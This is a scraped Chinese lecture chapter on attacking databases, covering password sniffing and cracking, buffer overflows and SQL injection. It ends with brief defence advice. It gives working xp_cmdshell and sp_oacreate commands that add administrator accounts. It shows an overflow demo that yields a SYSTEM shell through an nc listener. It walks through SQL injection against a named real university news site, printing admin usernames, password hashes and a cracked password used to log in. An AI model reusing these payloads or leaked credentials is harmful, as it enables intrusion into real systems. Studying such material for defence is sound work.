信息系统攻击与防御(第四章)_第1页
信息系统攻击与防御(第四章)_第2页
信息系统攻击与防御(第四章)_第3页
信息系统攻击与防御(第四章)_第4页
信息系统攻击与防御(第四章)_第5页
已阅读5页,还剩56页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、第四章 针对数据库的攻击 数据库攻击概述 口令攻击 溢出攻击 Sql注入攻击 内容简介所有的信息最终都要存放在数据库中,获取了数据库就等于获取了绝大部分信息,所以数据库攻击和防御是信息系统研究的重点,也是黑客攻击的重点之一。现在基于Web的数据库系统越来越普遍,漏洞也越来越多,针对网络数据库的攻击也越来越严重,造成的损失非常巨大。所以研究针对数据库的攻击和防御具有重要的意义。研究攻击是为了更好的防御,只有知己知彼才能百战不败。本章首先介绍了数据库以及数据库攻击的基本常识,然后详细介绍了针对数据库的口令攻击、溢出攻击和SQL注入攻击。并举例说明攻击的过程。4.1.数据库攻击概述 数据库概述数据库

2、攻击概述4.1.1.数据库概述数据库是存储在某种存储介质上的相关数据有组织的集合。数据库不是简单地将一些数据堆集在一起,而是把一些相互间有一定关系的数据,按一定的结构组织起来的数据集合。这种数据集合具有如下特点:尽可能不重复,以最优方式为某个特定组织的多种应用服务,其数据结构独立于使用它的应用程序,对数据的增、删、改和检索由统一软件进行管理和控制。 4.1.1.数据库概述(续)数据库的基本结构分三个层次,反映了观察数据库的三种不同角度。 (1)物理数据层。 (2)概念数据层。 (3)逻辑数据层。 4.1.1.数据库概述(续)数据库具有以下主要特点: (1)实现数据共享。 (2)减少数据的冗余度

3、。 (3)数据的独立性。 (4)数据实现集中控制。 (5)数据一致性和可维护性,以确保数据的安全性和可靠性。 4.1.2.数据库攻击概述对于数据库系统来说,威胁主要来自:非法访问数据库信息;恶意破坏数据库或未经授权非法修改数据库数据;用户通过网络进行数据库访问时,受到各种攻击,如搭线窃听等;对数据库的不正确访问,引起数据库数据的错误。 4.1.2.数据库攻击概述 (续)1对本地数据库的攻击对本地数据库的攻击一种方法就是下载数据库,然后打开这个数据库得到内部的用户和帐号了,以及其它有用的信息。2.对远程数据库的攻击例如,某网页上有一文本框,允许你输入用户名称,但是它限制你只能输入4个字符。许多程

4、序都是在客户端限制,然后用msgbox弹出错误提示。如果攻击时需要突破此限制,只需要在本地做一个一样的主页,只是取消了限制,通常是去掉VBscript或IavaScript的限制程序,就可以成功突破。4.1.2.数据库攻击概述 (续)如果是javascript做的,可以临时把浏览器的脚本支持关掉。如果只是改了端口号,就要看程序里数据库用户的权限了,如果是管理用户,可以用execmaster.dbo.xp_cmshellnetuser/addaaabbb来创建一个操作系统用户,然后再用execmaster.dbo.xp_cmdshellnetlocalgroup/addadministrator

5、saaa来把它升级为超级用户。如果这台服务器的NetBIOS绑定了TCP/IP,而且C$、D$等管理共享存在,在DOS命令下用netuseZ:ipaddress$bbb/user:aaa就可以把对方的整个C盘映射为本地的一个网络驱动器Z:了。常见的数据库有access、mssql、mysql、oracle等几种,在后面的几节将详细的讲解几种较为常见的数据库的攻击。4.2.口令攻击 口令攻击概述口令嗅探破解密码 口令攻击典型实例 4.2.1.口令攻击概述 口令攻击就是指利用已经获取的数据库合法用户和密码来针对数据库甚至对整个系统或者网络的攻击。攻击者攻击目标时常常把破译用户的口令作为攻击的开始。

6、只要攻击者能猜测或者确定用户的口令,他就能获得一定的数据库的权限,进而可能获取机器或者网络的访问权,甚至通过进一步的渗透能访问到用户可以访问的任何资源。如果这个用户有域管理员或root用户权限,这是极其危险的。4.2.1.口令攻击概述(续) 还有一种比较特殊的口令攻击,就是弱口令攻击。弱口令就是用户名和密码都是系统默认的,没有改。或者只是一些简单的数字组合。很容易被黑客破解。弱口令攻击就是利用弱口令来进行的攻击。一般情况下若管理员安全意识不强,安装数据库的时候配置不好,都可能产生弱口令,也就埋下的安全隐患。4.2.2.口令嗅探 当用户连上SQL SERVER服务器,以SQL SERVER认证的

7、方式登录数据库而不是以WINDOWS NT/2000认证的方式登录数据库的时候,它们所使用的登录帐户和密码几乎是完全明文的方式在网络上进行传输的。用于隐藏密码的所谓“加密”技术只是简单地进行一次XOR(异或)操作。密码被转换为一种宽字符(wide character)格式,或unicode字符,每一个字符都是使用一个常量0 x5A进行XOR(异或)处理的。这样,由于每一个“加密”密码的第2个字节在网络电缆上传播的值都是0 x5A,所以攻击者很容易检测出这种密码。另外,由于知道密码的格式是unicode字符,而每一个密码的第二字节又都是NULL。任何数与NULL值进行XOR(异或)的结果必然都是

8、自身:例如 0 x41 XOR 0 x00 = 0 x41,0 x5A XOR 0 x00 = 0 x5A.这说明,只要在网络中的客户机和服务器之间运行一个网络嗅探器(Network Sniffing)程序,就能够轻易的捕获其他人的详细认证信息,并将其进行反异或处理,从而得到真正的密码,进而采取进一步的攻击。SQLSniffer就是这样的一个工具。 4.2.3.破解密码 针对数据库的密码攻击包括两种:破解密码和网络监听。破解密码是使用工具不停的连接数据库来猜测密码,包括字典攻击,暴力攻击和界于两者之间的半暴力半字典攻击。通常攻击者先采用字典攻击的方法,没有成功的话依次采用半暴力半字典攻击,暴力

9、攻击。在网络速度够好,电脑运算能力够强的情况下,这样的密码攻击危害是相当大的。网络监听则是控制一台网络设备,在上面运行监听工具捕获在网络中传送的密码信息。网络监听可以分为两种,一种是外部的监听,将侦听工具软件放到网络连接的设备或者放到可以控制网络连接设备的电脑上,这里的网络连接设备,例如网关服务器,路由器等等。另外一种是来自内部的监听,对于不安全的局域网,数据是采用广播的方式传播的,只要把网卡设置为混杂模式即可接收到本来不属于自己的数据包,当然可能包括密码信息等资料。4.2.3.破解密码(续) 针对密码破解,只要把密码设置为足够强壮,并且对同个ip地址不停的连接请求进行屏蔽即可。对于监听来说,

10、网络传输的时候如果不加密的话,所有的网络传输都是明文的,包括密码、数据库内容等等,不管多么复杂的密码都是于事无补的,这是一个很大的安全威胁。所以,在条件容许情况下,最好使用SSL来加密协议,当然,这需要一个证书来支持。并且,对于网络监听应该及时发现,如果网络中的丢包率突然提高,那么就有理由怀疑网络遭到监听。4.2.3.破解密码(续) 在mssql 2000中,用户的密码的单向散列数据都会存储在master数据库的syslogins表中,SQL SERVER使用pwdencrypt()函数对密码进行散列处理。pwdencrypt()是一个内部函数,在调用这个函数的时候,它会按照下面的的方式进行散

11、列的操作:首先是以dword格式(32位无符号整型)返回系统的时间的C语言函数time(),将该系统的时间作为一个种子参数传递给srand()函数。srand函数使用这个种子创建一个起始点,对rand()的调用就在这个起点上进行确定。rand()被调用了2次,两次返回的dword值再被转化为短整型,接着再将这两个短整型的数据拼接在一起。再将这样拼接的结果作为使用安全散列算法(Secure Hashing Algorithm ,SHA)对用户密码进行散列处理的一个结果。但是,在同时创建区分大小写的散列密码和全大写哈希密码的时候,sql server就会自行关闭。如果可以取得这个散列,那么通过查找

12、大小写散列表,进行粗暴攻击是很容易的。如果是MD5加密,还可以直接使用MD5暴力破解工具破解密码。4.2.4.口令攻击典型实例 下面是一个Sa空口令入侵实例。工具:Windows NT/2000 自动攻击探测机, SQLTools.exe。实验过程:1利用windows NT/2000 自动攻击探测机扫描网段,找出空口令的mssql服务器,再用SQL综合利用工具SQLTools.exe来进行连接执行相应的系统命令。2利用系统存储过程xp_cmdshell执行dos命令,然后做进一步的入侵。例如:打开SQL综合利用工具,执行相应的命令:net start telnet/开telnet服务;net

13、 user test test /add/添加用户test密码为test;net localgroup administrators test /add/将帐号test升级为管理员;4.2.4.口令攻击典型实例(续) 3如果发现执行不了相关的命令,有可能是xp_cmdshell被删,可以用下面的方法进行恢复:常见恢复执行xp_cmdshell的情况:(1)未能找到存储过程master.xp_cmdshell恢复方法:启动查询分析器(或者sqltools.exe)连接后,第一步执行:EXEC sp_addextendedproc xp_cmdshell,dllname =xplog70.dll

14、declare o int 第二步执行:sp_addextendedproc xp_cmdshell, xpsql70.dll 然后按F5键命令执行完毕即可。(2)无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)恢复方法:启动查询分析器连接后,第一步执行:sp_dropextendedproc xp_cmdshell第二步执行:sp_addextendedproc xp_cmdshell, xpsql70.dll然后按F5键命令执行完毕。4.2.4.口令攻击典型实例(续) (3)无法在库 xpweb70.dll 中找到函数 xp_cmds

15、hell。原因: 127(找不到指定的程序。)恢复方法:启动查询分析器连接后,第一步执行:exec sp_dropextendedproc xp_cmdshell第二步执行:exec sp_addextendedproc xp_cmdshell,xpweb70.dll然后按F5键命令执行完毕。4.2.4.口令攻击典型实例(续) (4)终极方法.如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:查询分析器连接后,对于2000servser系统:declare shell int exec sp_oacreate wscript.shell,shell output exec sp_oame

16、thod shell,run,null,c:winntsystem32cmd.exe /c net user 新用户 密码 /adddeclare shell int exec sp_oacreate wscript.shell,shell output exec sp_oamethod shell,run,null,c:winntsystem32cmd.exe /c net localgroup administrators 新用户 /add对于xp或2003server系统:declare shell int exec sp_oacreate wscript.shell,shell out

17、put exec sp_oamethod shell,run,null,c:windowssystem32cmd.exe /c net user 新用户 密码 /adddeclare shell int exec sp_oacreate wscript.shell,shell output exec sp_oamethod shell,run,null,c:windowssystem32cmd.exe /c net localgroup administrators 新用户 /add4. 3.溢出攻击 缓冲区溢出简介数据库溢出攻击数据库溢出漏洞典型实例 4.3.1.缓冲区溢出简介 “缓冲区溢出

18、”在英文中可以解释为:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak,overrun screw;通常所说的“溢出”指的是缓冲区溢出,缓冲区是内存中存放数据的地方,是程序运行时计算机内存中的一个连续的块,它保存了给定类型的数据。为了不用太多的内存,一个有动态分配变量的程序在程序运行时才决定给他们分配多少内存。当程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。程序在动态分配缓冲区放入太多的数据

19、会溢出,会漏到了别的地方。4.3.1.缓冲区溢出简介(续) 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。下面举一个最为常见的,也是最简单的溢出。void function(char *str)char buffer16; strcpy(buffer,str); 在这个例子中上面的buffer的长度被限制在16,而strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。4.3.2.数据库溢出攻击数据库一样存在溢出漏洞,一般危害性极大,溢出后可能被执行任何代码或者中SQL蠕虫病毒,影响数据库提供正常的服务

20、。无论是access,mssql ,mysql或者oracle都爆出过溢出漏洞,且危害严重。曾经sql蠕虫病毒带来了不小的经济损失。“SQL”蠕虫病毒是一个极为罕见的具有极其短小病毒体,具有极强传播性的蠕虫病毒。该蠕虫利用Microsoft SQL Server 2000缓冲区溢出漏洞进行传播。该病毒入侵未受保护的机器后,取得三个Win32 API地址,GetTickCount、socket、sendto,接着病毒使用GetTickCount获得一个随机数,进入一个死循环继续传播。在该循环中蠕虫使用获得的随机数生成一个随机的ip地址,然后将自身代码发送至该ip地址的1434端口(Microso

21、ft SQL Server开放端口),该蠕虫传播速度极快,其使用广播数据包方式发送自身代码,每次均攻击子网中所有255台可能存在的机器。4.3.2.数据库溢出攻击 (续) mssql MysqlOracle中曾经出现溢出漏洞的一些相关代码。(见教材) 4.3.3.数据库溢出漏洞典型实例 工具:端口扫描工具(以流光为例), sql溢出工具sqlhello.exe,sqlhello2.exe,nc.exe。实验过程:先扫描出有溢出漏洞的mssql服务器。工具的使用说明:sqlhello.exe的溢出命令是: sqlhello.exe,攻击IP1433自己的IP自己监听端口 (反向溢出)sqlhel

22、lo2.exe的溢出命令是:qlhello2.exe,攻击IP1433(直接溢出)溢出演示:例如扫出来有漏洞ip是:本机ip:先演示反向的溢出:先用NC监听随便一个端口!命令行下运行:nc vv l p 8888再开另外一个命令行: sqlhello.exe 1433 8888这样就可以获得一个system级别权限的shell正向的溢出:直接:sqlhello2.exe 1433就可以了。4.4. Sql注入攻击 1、Sql注入攻击原理2、Sql注入攻击基本过程3、Sql注入攻击典型实例4、 Sql注入攻击的防御5、小结 4.4.1.Sql注入攻击原理SQL注入的原理 攻击者从客户端提交特殊的

23、代码,把SQL命令插入到Web表单的输入域或页面请求的查询字符串中,欺骗服务器执行恶意的SQL命令,从而收集程序及服务器的信息,获取想得到的资料。SQL注入存在的原因 许多网站程序在编写时,没有对用户输入数据的合法性进行判断,或者程序中本身的变量处理不当,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是SQL注入产生了。 4.4.2.Sql注入攻击基本方法(1)首先把IE菜单=工具=Internet选项=高级=显示友好 HTTP 错误信息前面的勾去掉。 否则,不论服务器返

24、回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。4.4.2.Sql注入攻击基本方法(2)举例:以网站为例。 在网站首页上,有个链接,地址为:/showdetail.asp?id=49, 在这个地址后面加上单引号, http:/showdetail.asp?id=49 服务器会返回下面的错误提示: Microsoft JET Database Engine 错误 80040e14 字符串的语法错误 在查询表达式 ID=49 中。 /showdetail.asp,行8从这个错误提示我们能看出下面几点: 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通

25、过ODBC;程序没有判断客户端提交的数据是否符合程序要求;该SQL语句所查询的表中有一名为ID的字段。4.4.2.Sql注入攻击基本方法(3)判断能否注入的方法1=1、1=2测试法 http:/showdetail.asp?id=49 http:/showdetail.asp?id=49 and 1=1 http:/showdetail.asp?id=49 and 1=2可以注入的表现为: 正常显示(这是必然的,不然就是程序有错误了) 正常显示,内容基本与相同 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resu

26、me next)不可以注入的表现为:同样正常显示,和一般都会有程序定义的错误提示,或提示类型转换时出错。当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数。4.4.2.Sql注入攻击基本方法(4) Sql注入攻击步骤1、判断环境,寻找注入点,判断数据库类型;2、根据注入参数类型,重构SQL语句的原貌,按参数类型主要分为下面三种: (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下: Select * from 表名 where 字段=49 注入的参数为ID=49 And 查询条件,即是生成语句: Select * from 表名 where 字

27、段=49 And 查询条件 (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下: Select * from 表名 where 字段=连续剧 注入的参数为Class=连续剧 and 查询条件 and = ,即是生成语句: Select * from 表名 where 字段=连续剧 and 查询条件 and =4.4.2.Sql注入攻击基本方法(5) Sql注入攻击步骤(续) (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下: Select * from 表名 where 字段like %关键字% 注入的参数为keyword= and 查询条

28、件 and %25=, 即是生成语句: Select * from 表名 where字段like % and 查询条件 and %=%3、将查询条件替换成SQL语句,猜解表名,例如: ID=49 And (Select Count(*) from Admin)=0 如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在。如此循环,直至猜到表名为止。 猜出表名后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。 如果表名起得很复杂没规律,用这种方法那就很难破解了。4、在表名和列名猜解成功后,再使用SQL语句,得出字段的值。4.4.3.Sql注入攻

29、击典型实例(1)以北京科技大学的新闻网为事例: /Article_Print.asp?ArticleID=7521 正常显示页面4.4.3.Sql注入攻击典型实例(2)http:/Article_Print.asp?ArticleID=7521 and 1=1 正常显示页面4.4.3.Sql注入攻击典型实例(3)http:/Article_Print.asp?ArticleID=7521 and 1=2 非正常显示页面4.4.3.Sql注入攻击典型实例(4)还可以输入:http:/Article_Print.asp?ArticleID=7521 非正常显示页面,说明存在注入漏洞。 4.4.3.

30、Sql注入攻击典型实例(5)http:/Article_Print.asp?ArticleID=7521 and version0 查看版本,因为version是msssql的内置系统变量,它当前值为mssql系统的版本。4.4.3.Sql注入攻击典型实例(6)http:/Article_Print.asp?ArticleID=7521 and db_name()0 查看当前数据库,因为db_name()是msssql的内置系统变量,它当前值为mssql系统的当前数据库。4.4.3.Sql注入攻击典型实例(7)http:/Article_Print.asp?ArticleID=7521 and

31、 1(select count(id) from admin)返回正常页面,说明存在admin表 和id字段。4.4.3.Sql注入攻击典型实例(8)http:/Article_Print.asp?ArticleID=7521 and 1(select count(password) from admin) 返回正常页面,说明表admin中存在password 字段。4.4.3.Sql注入攻击典型实例(9)http:/Article_Print.asp?ArticleID=7521 and exists (select id from admin where len(username)=2 a

32、nd id=19) 也返回正常页面,用户id为19 的用户名长度为2 。4.4.3.Sql注入攻击典型实例(10)http:/Article_Print.asp?ArticleID=7521 and exists (select id from admin where len(password)=16 and id=19)也返回正常页面,说明密码长度为16,估计是md5加密。4.4.3.Sql注入攻击典型实例(11)http:/Article_Print.asp?ArticleID=7521 and exists (select id from admin where unicode(subs

33、tring(password,1,1)=57 and id=19)返回正常。这说明密码第一位字符的asc为57,然后查找asc表,得出字符为9。4.4.3.Sql注入攻击典型实例(12)然后修改语句猜解第2位:http:/Article_Print.asp?ArticleID=7521 and exists (select id from admin where unicode(substring(password,2,1)=57 and id=19)依次类推,最后得出密码字符串。 4.4.3.Sql注入攻击典型实例(13)也可以用下面这种更为简洁快速的方法猜出用户名和密码: 例如http:/

34、Article_Print.asp?ArticleID=7521 and (select top 1 username from admin)1通过出错提示直接猜出用户名 4.4.3.Sql注入攻击典型实例(14)http:/Article_Print.asp?ArticleID=7521 and (select top 1 password from admin)1通过出错提示直接猜出密码 。4.4.3.Sql注入攻击典型实例(15)于是就猜解出一个管理员用户名和密码:Username: 佟明洋Password: db516af268bd72c54.4.3.Sql注入攻击典型实例(16)从i

35、d=6开始,依次可以猜出所有管理员密码和用户名 http:/Article_Print.asp?ArticleID=7521 and (select username from admin where id=6)1http:/Article_Print.asp?ArticleID=7521 and (select password from admin where id=6)1 http:/Article_Print.asp?ArticleID=7521 and (selec username from admin where id=7)1http:/Article_Print.asp?Art

36、icleID=7521 and (select password from admin where id=7)1依次类推,其中得到一个管理员用户名和密码如下:Username:校办Password: 49ba59abbe56e0574.4.3.Sql注入攻击典型实例(17)Password 是Md5加密的,穷举法破解密码如图所示 4.4.3.Sql注入攻击典型实例(18)找到后台/admin_login.asp登录, Username:校办Password: 12345674.4.3.Sql注入攻击典型实例(19)显示成功登陆4.4.4. Mssql注入的防范(1) 对于动态构造SQL查询的场

37、合,可以使用下面的技术:第一:替换单引号,即把所有单独出现的单引号改成两个单引号,防止攻击者修改SQL命令的含义。再来看前面的例子,“SELECT * from Users WHERE login = or 1=1 AND password = or 1=1”显然会得到与“SELECT * from Users WHERE login = or 1=1 AND password = or 1=1”不同的结果。第二:删除用户输入内容中的所有连字符,防止攻击者构造出类如“SELECT * from Users WHERE login = mas - AND password =”之类的查询,因为这

38、类查询的后半部分已经被注释掉,不再有效,攻击者只要知道一个合法的用户登录名称,根本不需要知道用户的密码就可以顺利获得访问权限。第三:对于用来执行查询的数据库帐户,限制其权限。用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作,因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。4.4.4. Mssql注入的防范(2) 用存储过程来执行所有的查询。 SQL参数的传递方式将防止攻击者利用单引号和连字符实施攻击。此外,它还使得数据库权限可以限制到只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。 4.4.4. Mssql注入的防范(3) 限制表单或查询字符串输入的长度。如果用户的登录名字最多只有10个字符,那么不要认可表单中输入的10个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。 检查用户输入的合法性,确信输入的内容只包含合法的数据。数据检查应当在客户端和服务器端都执

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论